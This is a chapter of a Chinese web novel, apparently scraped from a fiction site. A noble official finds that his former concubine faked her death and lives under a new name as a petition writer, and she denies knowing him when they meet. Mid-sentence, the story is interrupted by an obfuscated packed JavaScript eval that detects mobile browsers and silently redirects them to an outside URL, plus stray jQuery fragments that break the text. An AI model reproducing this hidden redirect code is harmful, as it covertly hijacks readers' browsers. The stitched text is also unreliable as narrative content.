文趣网 > 其他小说 > 熟禾 > 32. 见面
    前院的书房里,熟禾其余的字帖摊在魏景珩的书桌上,他想到那张诉状,捏着字贴的指节越收越紧,薄纸边缘被揉出几道褶皱。

    字帖的墨迹不算新了,这些字帖应该是她刚搬进青玉苑时写的。

    自从发现她收尾的笔锋带着点软后,魏景珩再看面前的字帖,只觉得字里行间,一笔一划都像她。

    他想起后库房的夜晚,她趴在矮凳上,一笔一笔在最劣质的毛边纸上写着自己的名字,明明连张桌子都没有,但是她却眼睛亮亮地看向他,因为他的一声“字写得好”的夸奖而笑眼盈盈。

    他那时怎么想的?

    这么端正的字,不应该局限在那一个矮小的方凳上,也不该写在最糙的毛边纸上,写字的时候,更不应该坐在地上。

    他觉得后库房应该给她配一张桌子,她高兴极了,若不是他还在场,他觉得她可能会哭出来。

    只是搬到青玉苑后,他似乎很少见她练字了,她每日的活动就是在院子里走走,看着细谷和陈婆子摆弄青玉苑的花坛,明明她有了更好的桌子,更好的笔墨纸砚。

    言一护送他回到国公府后,就去调查诉状的来源。

    魏景珩一个人坐在书房里,指尖无意识摩挲着字帖右下角那点柔软的笔迹,会是她吗?

    若是她的话,他该如何处理谢嫣然呢?

    小希一定是要给熟禾养的,他是她的孩子,但是若熟禾继续在谢嫣然手底下伏低做小,他觉得不能如此。

    三日后言一调查结果递到他手里时,魏景珩正在喝今年新采的雨前龙井,茶盏“哐当”一声磕在桌沿,热水溅在他手背上也没察觉。

    户籍册上明明白白写着:何芸,二十三岁,天和四十三年十二月入籍,户籍类别为女户,租住在梅花巷十八号。

    附的籍贯凭证齐全,说是从扬州来的娘子,三年前开始在京城谋生,经办人是个收了银子的小吏,一问就全招了——来办籍的人托了将军府的关系,一应手续都周全。

    本就是齐全的手续,加上办籍的人愿意使银子,小吏手脚麻利,没几天就办好了户籍亲自送去。

    言一追问小吏送户籍时可见过“何芸”本人,相貌如何?

    小吏摇摇头:“接过户籍的人是个大婶,应该不是何娘子,年纪对不上,真正的何娘子我并未见过。”

    “何芸……”魏景珩反复念着这两个字,胸口又酸又涨。建立户籍的时间对得上,姓“何”,似乎和“熟禾”也对得上,只有年龄差了两岁。

    她改了名字,改了年龄,抛弃了国公府的一切,可是,就连怀胎十月生下的小希,她也不要了?

    真的有母亲能如此狠心吗?

    可他还是盼着那人是她。

    就算抛弃孩子独自生活在梅花巷里,也比祠堂里冰冷的牌位要好。

    他等不到下值,和上司告了假就换了常服往梅花巷去。马车驶到梅花巷口就进不去了,巷口有专门的看守,护着梅花香女眷的周全。巷口的梅树正是花期,枝桠上的花朵扫过他的车帘,花瓣簌簌地落下来。

    魏景珩下车,拿出令牌证明自己的身份,看守才将他放进去,他一步一步沿着石板路走着,路过一户又一户人家,巷子里飘着糖炒栗子的香气,还有唤孩子的声音,巷子里十分热闹,和清冷的侯府全然不同。

    走到梅花巷十七号时,他停下,原地踱步,深吸一口气后,才大踏步继续往前走。

    十八号的门是关着的,主人出去了,魏景珩站在那扇贴着大红色门神的木门前,手指抬了几次,最终还是没叩下去。他忽然有些怕,怕门开了看见她,他不知道第一句话该说什么。是问她为什么离开国公府,还是问她……想不想自己?

    他在门口站了近一刻钟,隔壁的老婆婆端着簸箕出来晒梅干菜,好奇地打量他:“这位公子来找何娘子啊?何娘子她去旧书铺寻书了,估摸着也该回来了。”

    “你是不是来找她写诉状啊?何娘子的诉状和契约写得极好呢,连官府里的大人都在夸呢,去年她帮我写了一份契约,写得可好了。”

    魏景珩喉结滚了滚,道了声:“嗯,我有事寻她。”

    老婆婆看着他周身打扮贵气,主动接话道:“那你要不要来我家等会儿?站着等多累啊。”

    魏景珩拒绝,在十八号门口站了站,最后转身往巷口走。靴子踩在青石板上,发出轻而稳的声响,他心里很乱,一会儿想她这些日子过得好不好,一会儿想她是不是真的一点都不想他,她就这样在离国公府这么近的地方生活了三年,居然半分消息没露。

    刚走到巷口,迎面就走来个穿着月白色布裙的女子。

    她挽着个竹篮,篮子被藏青色的布盖住,露出书本的一角。白色的帷帽盖到她的肩头,微风把她的帷帽吹起一角,露出他精巧白皙的下巴。

    只看见下巴,他就确定是她。

    她比府里丰腴了一些,不再像之前那般瘦得连骨头都突出来。

    她身边跟着一个脸生的妇人,她微微低头侧向该妇人,仔细听对方讲述。

    “婶子,我家就在前面,不若你和我回家,去我家里仔细说?”她的声音还是如以前一般温和,但是如今,他听见了她声音下蕴含的坚定和力量。

    魏景珩整个人都僵在了原地。

    他一直相信她生产那日血崩“去了”,所有人都告诉他她死了,已经入了棺。

    最荒谬的是,他还查了她“死亡的原因”,一切的证据链都那么完整,血崩的药,想“去母留子”的谢嫣然。

    原来都是假的。

    她活得好好的,她活生生地站在他面前,从身边的人对她的态度就知道,她不再是国公府的小丫鬟,也不是青玉苑的姨娘,而是梅花香里有名的诉状师。

    梅花巷很少出现男人,熟禾被帷帽外陌生的身影吸引了注意力,抬眼的瞬间透过白纱帷帽看见了他。

    她脸上的笑一下子就僵住了,血色瞬间从脸颊退得干干净净,挽着篮子的手

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17560731|204543||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    猛地收紧,指节都泛了白。她几乎是下意识地往妇人身后退了一步,像只受了惊的兔子,恨不得立刻找个地方躲起来。

    “熟禾。”魏景珩的声音微微发抖,他向前走了一步,伸出手想抓她的胳膊,却被她猛地躲开了。

    “你认错人了。”她的声音冷得像冰,低着头,把脸埋在帷帽里,不再看向他,领着旁边的妇人就往巷子里走,脚步快得几乎要跑起来。

    魏景珩站在原地,看着她几乎是落荒而逃的背影,心脏像是被人用手狠狠攥住,疼得他喘不过气。

    他没想到她居然是这样的反应。

    她装作不认识他。

    她否决了他们之前的一切。

    难道她连两人的孩子都否决了吗?

    他静静地站在巷口,直到巷口的看守上前:“魏大人,若是您的事情办完,就请先离开吧,这梅花巷的住户毕竟多是女户……”

    他没说话,步伐沉重走出梅花巷。

    言一本想询问魏景珩进展如何,结果一看他的表情,不敢说话,只安静地跟在他身后。

    熟禾拉着妇人进门后,又伸出头看了一眼门外的巷子,没了那个人的身影,她腿一软,坐在地上。

    妇人上前扶起她:“何娘子,何娘子你没事吧?”

    熟禾摇摇头,只道:“婶子,只是今日我无法帮你写诉状了,明日你再来我家里寻我可好?”

    妇人点点头:“好,何娘子,那我就不打扰你了,明日我再来。”

    熟禾点点头,将人送出门,才将大门紧紧关上。

    她安静地靠在大门后,想不明白,魏景珩为什么会突然出现在梅花巷,是碰巧吗?

    还是特意来寻自己?

    她不觉得是第二个答案,她在魏景珩心里只是一个小丫鬟罢了,三年的时间早就足够他把自己忘记,再寻一堆旁的女人伺候他了。

    他是炙手可热的探花郎,身边最不缺的就是女人。

    今天的一切,只是巧合,只是巧合罢了。

    她平复着自己的情绪,拿起墙角的水壶,走到菜地给前些日子播种的菜种浇水。

    她不上不下的心随着浇水平静了下来。

    魏景珩虽然认出了她,喊了她的名字,但是最后,他走了,他没有跟着她,也没有质问她为什么还活着,他走了就代表他不在乎。

    熟禾越想越高兴,这是不是意味着,她的“假死”,在魏景珩面前也过了明路。

    只要他愿意让她继续在梅花巷生活,她将给魏景珩和老夫人立长生碑。

    只是她久违地想起了,自己怀胎十月生下的那个孩子,她至今没和他见过一面,她仅仅知道,他是个男孩。

    这三年她都忘记了自己曾经生过一个孩子,刚刚见了魏景珩,她突然想了起来,不知道那个孩子,像不像她。

    随即她又笑了,那是国公府的孩子,生下来就含着金钥匙,那轮得到她操心。

    她还是好好担心自己吧。